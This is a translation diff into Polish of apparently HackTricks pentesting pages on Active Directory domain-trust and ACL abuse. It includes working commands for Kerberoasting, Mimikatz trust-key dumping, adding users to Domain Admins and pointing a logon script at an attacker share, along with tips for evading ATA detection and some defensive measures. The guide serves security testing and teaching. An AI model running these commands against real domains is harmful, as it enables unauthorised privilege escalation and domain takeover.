-3. **Compromise** the **accounts** which can **pivot** through domains.
+1. **Enumerate** relacje zaufania
+2. Sprawdź, czy jakiś **security principal** (user/group/computer) ma **dostęp** do zasobów **drugiej domeny**, być może przez wpisy ACE lub przez bycie w grupach drugiej domeny. Szukaj **relacji pomiędzy domenami** (zaufanie prawdopodobnie zostało utworzone w tym celu).
+1. kerberoast w tym przypadku może być kolejną opcją.
+3. **Skompromituj** **konta**, które mogą **pivotować** pomiędzy domenami.

-Attackers could access resources in another domain through three primary mechanisms:
+Atakujący mogą mieć dostęp do zasobów w innej domenie przez trzy główne mechanizmy:

- **Local Group Membership**: Principals might be added to local groups on machines, such as the “Administrators” group on a server, granting them significant control over that machine.
- **Foreign Domain Group Membership**: Principals can also be members of groups within the foreign domain. However, the effectiveness of this method depends on the nature of the trust and the scope of the group.
- **Access Control Lists (ACLs)**: Principals might be specified in an **ACL**, particularly as entities in **ACEs** within a **DACL**, providing them access to specific resources. For those looking to dive deeper into the mechanics of ACLs, DACLs, and ACEs, the whitepaper titled “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” is an invaluable resource.
+- **Local Group Membership**: Principal może być dodany do lokalnych grup na maszynach, takich jak grupa “Administrators” na serwerze, dając mu znaczny wpływ na tę maszynę.
+- **Foreign Domain Group Membership**: Principale mogą być także członkami grup w domenie obcej. Jednak skuteczność tej metody zależy od natury zaufania i zakresu grupy.
+- **Access Control Lists (ACLs)**: Principale mogą być wyspecyfikowani w **ACL**, szczególnie jako byty w **ACEs** w **DACL**, dając im dostęp do konkretnych zasobów. Dla tych, którzy chcą zagłębić się w mechanikę ACLs, DACLs i ACEs, whitepaper zatytułowany “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” jest nieocenionym źródłem.

 ### Find external users/groups with permissions

-You can check **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** to find foreign security principals in the domain. These will be user/group from **an external domain/forest**.
+Możesz sprawdzić **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**, aby znaleźć foreign security principals w domenie. Będą to użytkownicy/grupy z **zewnętrznej domeny/forest**.

-You could check this in **Bloodhound** or using powerview:
+Możesz to sprawdzić w **Bloodhound** lub używając powerview:
 ```powershell
 # Get users that are i groups outside of the current domain
 Get-DomainForeignUser
@ -613,7 +611,7 @@ Get-DomainForeignUser
 # Get groups inside a domain with users our
 Get-DomainForeignGroupMember
 ```
-### Child-to-Parent forest privilege escalation
+### Eskalacja uprawnień Child-to-Parent w forest
 ```bash
 # Fro powerview
 Get-DomainTrust
@ -639,8 +637,8 @@ nltest /dclist:sub.domain.local
 nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
 ```
 > [!WARNING]
-> Istnieją **2 zaufane klucze**, jeden dla _Child --> Parent_ i drugi dla _Parent_ --> _Child_.\
-> Możesz sprawdzić, który jest używany przez bieżącą domenę za pomocą:
+> Istnieją **2 trusted keys**, jeden dla _Child --> Parent_ i drugi dla _Parent_ --> _Child_.\
+> Możesz sprawdzić, która jest używana przez bieżącą domenę za pomocą:
 >
 > ```bash
 > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
@ -649,26 +647,26 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts

 #### SID-History Injection

-Zdobądź uprawnienia Enterprise Admin w domenie child/parent, nadużywając zaufania przez SID-History injection:
+Uzyskaj uprawnienia Enterprise admin w domenie child/parent, nadużywając zaufania przez SID-History injection:


 {{#ref}}
 sid-history-injection.md
 {{#endref}}

-#### Wykorzystanie zapisywalnego Configuration NC
+#### Exploit writeable Configuration NC

-Zrozumienie, jak można wykorzystać Configuration Naming Context (NC), jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym lesie w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w lesie, a zapisywalne DC utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **uprawnienia SYSTEM na DC**, najlepiej na child DC.
+Zrozumienie, w jaki sposób Configuration Naming Context (NC) może być wykorzystany, jest kluczowe. Configuration NC pełni rolę centralnego repozytorium danych konfiguracyjnych w całym forest w środowiskach Active Directory (AD). Dane te są replikowane do każdego Domain Controller (DC) w obrębie forest, a writable DCs utrzymują zapisywalną kopię Configuration NC. Aby to wykorzystać, trzeba mieć **SYSTEM privileges on a DC**, najlepiej na child DC.

-Link GPO do root DC site
+**Link GPO to root DC site**

-Kontener Sites w Configuration NC zawiera informacje o wszystkich site'ach komputerów dołączonych do domeny w lesie AD. Działając z uprawnieniami SYSTEM na dowolnym DC, atakujący mogą powiązać GPO z root DC site. Ta operacja może potencjalnie skompromitować domenę root poprzez manipulację politykami stosowanymi na tych site'ach.
+Kontener Sites w Configuration NC zawiera informacje o site'ach wszystkich komputerów dołączonych do domeny w obrębie AD forest. Mając SYSTEM privileges on any DC, atakujący mogą powiązać GPOs z root DC sites. Ta operacja może potencjalnie skompromitować root domain przez manipulację politykami stosowanymi do tych site'ów.

 For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research).

-Compromise any gMSA in the forest
+**Compromise any gMSA in the forest**

-Atak może celować w uprzywilejowane gMSA w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając uprawnienia SYSTEM na dowolnym DC, można uzyskać dostęp do KDS Root key i obliczyć hasła dla dowolnego gMSA w całym lesie.
+Jako wektor ataku można wymierzyć działania przeciw privileged gMSAs w domenie. KDS Root key, niezbędny do obliczania haseł gMSA, jest przechowywany w Configuration NC. Mając SYSTEM privileges on any DC, możliwe jest uzyskanie dostępu do KDS Root key i obliczenie haseł dowolnego gMSA w całym forest.

 Detailed analysis and step-by-step guidance can be found in:

@ -686,19 +684,19 @@ badsuccessor-dmsa-migration-abuse.md

 Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).

-Schema change attack
+**Schema change attack**

-Ta metoda wymaga cierpliwości i oczekiwania na tworzenie nowych uprzywilejowanych obiektów AD. Mając uprawnienia SYSTEM, atakujący może zmodyfikować AD Schema, aby nadać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. To może prowadzić do nieautoryzowanego dostępu i kontroli nad nowo tworzonymi obiektami AD.
+Ta metoda wymaga cierpliwości i oczekiwania na pojawienie się nowych uprzywilejowanych obiektów AD. Mając SYSTEM privileges, atakujący może zmodyfikować AD Schema, aby przyznać dowolnemu użytkownikowi pełną kontrolę nad wszystkimi klasami. Może to prowadzić do nieautoryzowanego dostępu i przejęcia kontroli nad nowo tworzonymi obiektami AD.

 Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent).

-From DA to EA with ADCS ESC5
+**From DA to EA with ADCS ESC5**

-Luka ADCS ESC5 umożliwia uzyskanie kontroli nad obiektami Public Key Infrastructure (PKI) w celu stworzenia szablonu certyfikatu pozwalającego na uwierzytelnienie się jako dowolny użytkownik w lesie. Ponieważ obiekty PKI znajdują się w Configuration NC, skompromitowanie zapisywalnego child DC umożliwia przeprowadzenie ataków ESC5.
+Luka ADCS ESC5 umożliwia przejęcie kontroli nad obiektami Public Key Infrastructure (PKI) w celu utworzenia szablonu certyfikatu, który pozwala uwierzytelniać się jako dowolny użytkownik w obrębie forest. Ponieważ obiekty PKI znajdują się w Configuration NC, skompromitowanie writable child DC umożliwia przeprowadzenie ataków ESC5.

 More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). In scenarios lacking ADCS, the attacker has the capability to set up the necessary components, as discussed in [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/).

-### Zewnętrzna domena lasu - jednokierunkowa (Inbound) lub dwukierunkowa
+### External Forest Domain - One-Way (Inbound) or bidirectional
 ```bash
 Get-DomainTrust
 SourceName      : a.domain.local   --> Current domain
@ -709,14 +707,14 @@ TrustDirection  : Inbound          --> Inboud trust
 WhenCreated     : 2/19/2021 10:50:56 PM
 WhenChanged     : 2/19/2021 10:50:56 PM
 ```
-W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** względem niej. Będziesz musiał ustalić, **które konta (principals) twojej domeny mają jaki dostęp do domeny zewnętrznej**, a następnie spróbować to wykorzystać:
+W tym scenariuszu **twoja domena jest zaufana** przez domenę zewnętrzną, co daje ci **nieokreślone uprawnienia** względem niej. Będziesz musiał znaleźć **które principals twojej domeny mają jakie access wobec domeny zewnętrznej**, a następnie spróbować je wykorzystać:


 {{#ref}}
 external-forest-domain-oneway-inbound.md
 {{#endref}}

-### Zewnętrzna domena lasu - jednokierunkowa (wychodząca)
+### Zewnętrzna domena leśna — jednokierunkowa (Outbound)
 ```bash
 Get-DomainTrust -Domain current.local

@ -728,36 +726,35 @@ TrustDirection  : Outbound        --> Outbound trust
 WhenCreated     : 2/19/2021 10:15:24 PM
 WhenChanged     : 2/19/2021 10:15:24 PM
 ```
-W tym scenariuszu **twoja domena** **ufa** pewnym **uprawnieniom** podmiotu z **innej domeny**.
+W tym scenariuszu **twoja domena** **przyznaje zaufanie** pewnym **uprawnieniom** principal z **innych domen**.

-Jednak gdy **domena jest zaufana** przez domenę ufającą, domena zaufana **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło używa zaufanego hasła**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej**, przeprowadzić jej enumerację i próbować eskalować dalsze uprawnienia:
+Jednak gdy **domena jest zaufana** przez domenę ufającą, domena zaufana **tworzy użytkownika** o **przewidywalnej nazwie**, który jako **hasło używa hasła zaufania**. Oznacza to, że możliwe jest **uzyskanie dostępu do użytkownika z domeny ufającej, aby dostać się do domeny zaufanej**, by ją zenumerować i spróbować eskalować dalsze uprawnienia:


 {{#ref}}
 external-forest-domain-one-way-outbound.md
 {{#endref}}

-Innym sposobem kompromitacji domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** względem zaufania domeny (co nie jest zbyt częste).
+Innym sposobem na skompromitowanie domeny zaufanej jest znalezienie [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) utworzonego w **przeciwnym kierunku** trustu domeny (co nie jest zbyt częste).

-Kolejną metodą jest oczekiwanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Wtedy atakujący może wstrzyknąć kod w proces sesji RDP i **dostępować do domeny źródłowej ofiary** stamtąd.\
-Co więcej, jeśli **ofiara podmontowała swój dysk twardy**, to z procesu sesji **RDP** atakujący może umieścić **backdoory** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**
+Innym sposobem na skompromitowanie domeny zaufanej jest oczekiwanie na maszynie, do której **użytkownik z domeny zaufanej może się zalogować** przez **RDP**. Następnie atakujący mógłby wstrzyknąć kod w proces sesji RDP i **dostępować stamtąd do domeny źródłowej ofiary**.\ Moreover, jeśli **ofiara zamontowała swój dysk twardy**, z procesu **sesji RDP** atakujący mógłby umieścić **backdoors** w **folderze autostartu dysku twardego**. Ta technika nazywa się **RDPInception.**


 {{#ref}}
 rdp-sessions-abuse.md
 {{#endref}}

-### Mitigacja nadużyć zaufania domeny
+### Zapobieganie nadużyciom związanym z zaufaniem domen

 ### **SID Filtering:**

- Ryzyko ataków wykorzystujących atrybut SID history w zaufaniach między lasami jest łagodzone przez SID Filtering, które jest aktywowane domyślnie we wszystkich zaufaniach międzylasowych. Opiera się to na założeniu, że zaufania wewnątrz lasu są bezpieczne, traktując las, a nie domenę, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoft.
- Jest jednak haczyk: SID filtering może zakłócać działanie aplikacji i dostęp użytkowników, co powoduje jego okazjonalne wyłączenie.
+- Ryzyko ataków wykorzystujących atrybut SID history w obrębie forest trusts jest ograniczane przez SID Filtering, który jest domyślnie aktywowany na wszystkich inter-forest trusts. Działanie to opiera się na założeniu, że intra-forest trusts są bezpieczne, traktując forest, a nie domain, jako granicę bezpieczeństwa zgodnie ze stanowiskiem Microsoftu.
+- Jest jednak haczyk: SID filtering może zakłócać działanie aplikacji i dostęp użytkowników, co prowadzi do jego czasowego wyłączenia.

 ### **Selective Authentication:**

- Dla zaufania międzylasowego zastosowanie Selective Authentication zapewnia, że użytkownicy z dwóch lasów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskiwać dostęp do domen i serwerów w domenie/lesie ufającym.
- Należy zauważyć, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani przed atakami na konto zaufania.
+- W przypadku inter-forest trusts zastosowanie Selective Authentication zapewnia, że użytkownicy z obu forestów nie są automatycznie uwierzytelniani. Zamiast tego wymagane są jawne uprawnienia, aby użytkownicy mogli uzyskać dostęp do domen i serwerów w domenie lub forest ufającym.
+- Ważne jest, że te środki nie chronią przed wykorzystaniem zapisywalnego Configuration Naming Context (NC) ani atakami na konto zaufania.

 [**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)

@ -768,35 +765,35 @@ rdp-sessions-abuse.md
 https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
 {{#endref}}

-## Some General Defenses
+## Ogólne środki obronne

 [**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)

-### **Defensive Measures for Credential Protection**
+### **Środki obronne w zakresie ochrony poświadczeń**

- **Domain Admins Restrictions**: Zaleca się, aby Domain Admins mogli logować się tylko do Domain Controllers, unikając ich używania na innych hostach.
- **Service Account Privileges**: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA), aby utrzymać bezpieczeństwo.
- **Temporal Privilege Limitation**: Dla zadań wymagających uprawnień DA należy ograniczać ich czas trwania. Można to osiągnąć przez: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+- **Domain Admins Restrictions**: Zaleca się, aby Domain Admins mogli logować się wyłącznie do Domain Controllers, unikając ich używania na innych hostach.
+- **Service Account Privileges**: Usługi nie powinny być uruchamiane z uprawnieniami Domain Admin (DA) dla zachowania bezpieczeństwa.
+- **Temporal Privilege Limitation**: W zadaniach wymagających uprawnień DA czas ich trwania powinien być ograniczony. Można to osiągnąć za pomocą: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`

 ### **Wdrażanie technik Deception**

- Wdrażanie deception polega na ustawianiu pułapek, takich jak użytkownicy lub komputery wabiki, z cechami takimi jak hasła, które nigdy nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi prawami lub dodawanie ich do grup o wysokich uprawnieniach.
+- Wdrażanie deception polega na ustawianiu pułapek, takich jak konta-przynęty użytkowników lub komputerów, z cechami takimi jak hasła, które nie wygasają, lub oznaczone jako Trusted for Delegation. Szczegółowe podejście obejmuje tworzenie użytkowników z określonymi uprawnieniami lub dodawanie ich do grup o wysokich uprawnieniach.
 - Praktyczny przykład obejmuje użycie narzędzi takich jak: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
 - Więcej o wdrażaniu technik deception można znaleźć na [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception).

-### **Identyfikacja Deception**
+### **Wykrywanie Deception**

- **Dla obiektów użytkownika**: Podejrzane wskaźniki obejmują nietypowe ObjectSID, rzadkie logowania, daty utworzenia oraz niskie zliczenia błędnych haseł.
- **Wskaźniki ogólne**: Porównywanie atrybutów potencjalnych obiektów-wabików z rzeczywistymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deceptions.
+- **For User Objects**: Podejrzane wskaźniki obejmują nietypowy ObjectSID, rzadkie logowania, daty tworzenia oraz niski licznik nieudanych prób hasła.
+- **General Indicators**: Porównywanie atrybutów potencjalnych obiektów-przynęt z rzeczywistymi może ujawnić niespójności. Narzędzia takie jak [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogą pomóc w identyfikacji takich deception.

-### **Omijanie systemów detekcji**
+### **Omijanie systemów wykrywania**

 - **Microsoft ATA Detection Bypass**:
 - **User Enumeration**: Unikanie enumeracji sesji na Domain Controllers, aby zapobiec wykryciu przez ATA.
- **Ticket Impersonation**: Wykorzystanie kluczy **aes** do tworzenia ticketów pomaga unikać wykrycia przez niezobowiązywanie do NTLM.
- **DCSync Attacks**: Wykonywanie z nie-Domain Controller, aby uniknąć wykrycia przez ATA; bezpośrednie uruchomienie z Domain Controller spowoduje alerty.
+- **Ticket Impersonation**: Wykorzystanie kluczy **aes** przy tworzeniu ticketów pomaga unikać wykrycia przez niezmuszanie downgrade'u do NTLM.
+- **DCSync Attacks**: Zaleca się wykonywanie z maszyny niebędącej Domain Controllerem, by uniknąć wykrycia przez ATA, ponieważ bezpośrednie wykonanie na Domain Controllerze wywoła alerty.

-## Źródła
+## Referencje

 - [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
 - [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html)
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
@ -1,8 +1,8 @@
-# Nadużywanie Active Directory ACLs/ACEs
+# Wykorzystywanie Active Directory ACLs/ACEs

 {{#include ../../../banners/hacktricks-training.md}}

-**Ta strona jest w większości podsumowaniem technik z** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Po więcej szczegółów sprawdź oryginalne artykuły.**
+**Ta strona jest głównie podsumowaniem technik z** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **i** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. Aby uzyskać więcej szczegółów, sprawdź oryginalne artykuły.**

 ## BadSuccessor

@ -11,24 +11,24 @@
 BadSuccessor.md
 {{#endref}}

-## **GenericAll — prawa do konta użytkownika**
+## **GenericAll prawa na użytkowniku**

-To uprawnienie daje atakującemu pełną kontrolę nad docelowym kontem użytkownika. Po potwierdzeniu praw `GenericAll` za pomocą polecenia `Get-ObjectAcl`, atakujący może:
+To uprawnienie daje atakującemu pełną kontrolę nad docelowym kontem użytkownika. Gdy prawa `GenericAll` są potwierdzone za pomocą polecenia `Get-ObjectAcl`, atakujący może:

- **Zmiana hasła celu**: Używając `net user <username> <password> /domain`, atakujący może zresetować hasło użytkownika.
- **Targeted Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, a następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić hashe ticket-granting ticket (TGT) i spróbować je złamać.
+- **Zmień hasło celu**: Przy użyciu `net user <username> <password> /domain` atakujący może zresetować hasło użytkownika.
+- **Targeted Kerberoasting**: Przypisz SPN do konta użytkownika, aby uczynić je kerberoastable, następnie użyj Rubeus i targetedKerberoast.py, aby wyodrębnić i spróbować złamać hashe ticket-granting ticket (TGT).
 ```bash
 Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
 .\Rubeus.exe kerberoast /user:<username> /nowrap
 Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
 ```
- **Ukierunkowane ASREPRoasting**: Wyłącz wstępne uwierzytelnianie dla użytkownika, co naraża jego konto na ASREPRoasting.
+- **Targeted ASREPRoasting**: Wyłącz pre-authentication dla użytkownika, czyniąc jego konto podatnym na ASREPRoasting.
 ```bash
 Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
 ```
 ## **GenericAll — prawa do grupy**

-To uprawnienie pozwala atakującemu manipulować członkostwem w grupach, jeśli ma prawa `GenericAll` w grupie takiej jak `Domain Admins`. Po zidentyfikowaniu wyróżnionej nazwy grupy (distinguished name) za pomocą `Get-NetGroup`, atakujący może:
+To uprawnienie pozwala atakującemu manipulować członkostwem w grupie, jeśli ma on prawa `GenericAll` do grupy takiej jak `Domain Admins`. Po zidentyfikowaniu nazwy rozróżniającej grupy (distinguished name) przy użyciu `Get-NetGroup`, atakujący może:

 - **Dodać siebie do grupy Domain Admins**: Można to zrobić za pomocą bezpośrednich poleceń lub używając modułów takich jak Active Directory lub PowerSploit.
 ```bash
@ -36,7 +36,7 @@ net group "domain admins" spotless /add /domain
 Add-ADGroupMember -Identity "domain admins" -Members spotless
 Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
 ```
-Z Linuxa możesz też wykorzystać BloodyAD, aby dodać siebie do dowolnych grup, jeśli posiadasz nad nimi członkostwo GenericAll/Write. Jeśli docelowa grupa jest zagnieżdżona w “Remote Management Users”, natychmiast uzyskasz dostęp WinRM na hostach, które uznają tę grupę:
+- Z Linuxa możesz także wykorzystać BloodyAD, aby dodać siebie do dowolnych grup, gdy posiadasz nad nimi członkostwo GenericAll/Write. Jeśli grupa docelowa jest zagnieżdżona w “Remote Management Users”, natychmiast uzyskasz dostęp WinRM na hostach respektujących tę grupę:
 ```bash
 # Linux tooling example (BloodyAD) to add yourself to a target group
 bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
@ -48,33 +48,33 @@ netexec winrm <dc-fqdn> -u <user> -p '<pass>'

 Posiadanie tych uprawnień na obiekcie komputera lub koncie użytkownika umożliwia:

- **Kerberos Resource-based Constrained Delegation**: Pozwala na przejęcie obiektu komputera.
- **Shadow Credentials**: Użyj tej techniki, aby podszyć się pod komputer lub konto użytkownika, wykorzystując uprawnienia do stworzenia shadow credentials.
+- **Kerberos Resource-based Constrained Delegation**: Umożliwia przejęcie obiektu komputera.
+- **Shadow Credentials**: Wykorzystaj tę technikę, aby podszyć się pod obiekt komputera lub konto użytkownika, wykorzystując uprawnienia do utworzenia shadow credentials.

 ## **WriteProperty on Group**

-Jeśli użytkownik ma `WriteProperty` prawa na wszystkich obiektach dla konkretnej grupy (np. `Domain Admins`), może:
+Jeśli użytkownik ma `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), może:

- **Dodać siebie do grupy Domain Admins**: Osiągalne poprzez połączenie poleceń `net user` i `Add-NetGroupUser`, ta metoda pozwala na eskalację uprawnień w domenie.
+- **Add Themselves to the Domain Admins Group**: Osiągalne przez połączenie poleceń `net user` i `Add-NetGroupUser`, ta metoda umożliwia eskalację uprawnień w domenie.
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **Self (Self-Membership) on Group**

-To uprawnienie umożliwia atakującemu dodanie siebie do określonych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio manipulują członkostwem w grupie. Użycie następującej sekwencji poleceń umożliwia dodanie siebie:
+Ten przywilej umożliwia atakującym dodanie siebie do określonych grup, takich jak `Domain Admins`, za pomocą poleceń, które bezpośrednio modyfikują członkostwo w grupie. Użycie następującej sekwencji poleceń pozwala na samododanie:
 ```bash
 net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
 ```
 ## **WriteProperty (Self-Membership)**

-Podobne uprawnienie — pozwala atakującemu bezpośrednio dodać siebie do grup poprzez modyfikację właściwości grup, jeśli posiada prawo `WriteProperty` na tych grupach. Potwierdzenie i wykonanie tego uprawnienia przeprowadza się za pomocą:
+Podobne uprawnienie — pozwala atakującym bezpośrednio dodać siebie do grup przez modyfikację właściwości grup, jeśli mają prawo `WriteProperty` na tych grupach. Potwierdzenie i wykonanie tego uprawnienia odbywa się za pomocą:
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 net group "domain admins" spotless /add /domain
 ```
 ## **ForceChangePassword**

-Posiadanie `ExtendedRight` na użytkowniku dla `User-Force-Change-Password` pozwala na resetowanie hasła bez znajomości aktualnego hasła. Weryfikację tego prawa i jego wykorzystanie można przeprowadzić za pomocą PowerShell lub alternatywnych narzędzi wiersza poleceń, oferując kilka metod resetowania hasła użytkownika, w tym sesje interaktywne oraz one-liners dla środowisk nieinteraktywnych. Polecenia obejmują proste wywołania PowerShell oraz użycie `rpcclient` na Linuxie, demonstrując wszechstronność wektorów ataku.
+Posiadanie `ExtendedRight` na użytkowniku dla `User-Force-Change-Password` pozwala na reset hasła bez znajomości bieżącego hasła. Weryfikację tego prawa i jego wykorzystanie można przeprowadzić za pomocą PowerShell lub alternatywnych narzędzi w wierszu poleceń, które oferują kilka metod resetowania hasła użytkownika, w tym sesje interaktywne oraz one-liners dla środowisk nieinteraktywnych. Polecenia obejmują proste wywołania PowerShell aż po użycie `rpcclient` na Linuxie, demonstrując wszechstronność attack vectors.
 ```bash
 Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainUserPassword -Identity delegate -Verbose
@ -87,7 +87,7 @@ rpcclient -U KnownUsername 10.10.10.192
 ```
 ## **WriteOwner on Group**

-Jeśli atakujący stwierdzi, że ma prawa `WriteOwner` do grupy, może zmienić właściciela tej grupy na siebie. Jest to szczególnie istotne, gdy grupa to `Domain Admins`, ponieważ zmiana właściciela pozwala na szerszą kontrolę nad atrybutami grupy i członkostwem. Proces polega na zidentyfikowaniu odpowiedniego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner` do zmodyfikowania właściciela, albo przez SID, albo przez nazwę.
+Jeśli atakujący stwierdzi, że ma prawa `WriteOwner` do grupy, może zmienić właściciela grupy na siebie. Ma to szczególne znaczenie, gdy grupa to `Domain Admins`, ponieważ zmiana właściciela umożliwia szerszą kontrolę nad atrybutami grupy i członkostwem. Proces polega na zidentyfikowaniu właściwego obiektu za pomocą `Get-ObjectAcl`, a następnie użyciu `Set-DomainObjectOwner` do zmodyfikowania właściciela, albo przez SID, albo przez nazwę.
 ```bash
 Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
 Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -95,13 +95,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
 ```
 ## **GenericWrite on User**

-To uprawnienie umożliwia atakującemu modyfikację właściwości użytkownika. Konkretnie, mając dostęp `GenericWrite`, atakujący może zmienić ścieżkę skryptu logowania użytkownika, aby uruchomić złośliwy skrypt podczas logowania. Odbywa się to poprzez użycie polecenia `Set-ADObject` w celu zaktualizowania właściwości `scriptpath` docelowego użytkownika tak, by wskazywała na skrypt atakującego.
+To uprawnienie pozwala atakującemu modyfikować właściwości użytkownika. Konkretnie, mając dostęp `GenericWrite`, atakujący może zmienić ścieżkę skryptu logowania użytkownika, aby przy logowaniu uruchomić złośliwy skrypt. Osiąga się to za pomocą polecenia `Set-ADObject`, aby zaktualizować właściwość `scriptpath` docelowego użytkownika tak, aby wskazywała na skrypt atakującego.
 ```bash
 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
 ```
-## **GenericWrite on Group**
+## **GenericWrite on Group

-Z tym uprawnieniem atakujący mogą manipulować członkostwem w grupie, na przykład dodając siebie lub innych użytkowników do określonych grup. Proces ten obejmuje utworzenie obiektu poświadczeń, użycie go do dodawania lub usuwania użytkowników z grupy oraz weryfikację zmian członkostwa za pomocą poleceń PowerShell.
+Dzięki temu uprawnieniu atakujący mogą manipulować członkostwem w grupie, np. dodając siebie lub innych użytkowników do określonych grup. Proces obejmuje utworzenie obiektu poświadczeń, użycie go do dodawania lub usuwania użytkowników z grupy oraz weryfikację zmian członkostwa za pomocą poleceń PowerShell.
 ```bash
 $pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
